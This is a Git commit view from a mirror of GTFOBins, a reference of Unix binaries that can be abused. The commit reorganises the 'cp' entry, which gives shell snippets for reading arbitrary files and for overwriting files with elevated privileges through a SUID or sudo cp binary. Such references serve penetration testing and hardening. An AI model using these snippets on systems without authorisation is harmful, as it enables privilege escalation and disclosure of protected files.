public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-27 07:18:48 +01:00
Code Issues Projects Releases Wiki Activity

Refactor cp

Browse Source
This commit is contained in:
Andrea Cardaci 2020-03-21 19:14:56 +01:00
parent b6f1947354
commit 834cae88be
1 changed files with 8 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

16
_gtfobins/cp.md
View File

@ -1,21 +1,21 @@
--- ---
description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
functions: functions:
suid: file-read:
- code: | - code: |
LFILE=file_to_read
cp "$LFILE" /dev/stdout
suid:
- description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
code: |
LFILE=file_to_write LFILE=file_to_write
TF=$(mktemp) TF=$(mktemp)
echo "DATA" > $TF echo "DATA" > $TF
./cp $TF $LFILE ./cp $TF $LFILE
sudo: sudo:
- code: | - description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
code: |
LFILE=file_to_write LFILE=file_to_write
TF=$(mktemp) TF=$(mktemp)
echo "DATA" > $TF echo "DATA" > $TF
sudo cp $TF $LFILE sudo cp $TF $LFILE
file-read:
- description: It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. The path must be absolute.
code: |
LFILE=file_to_read
cp "$LFILE" /dev/stdout
--- ---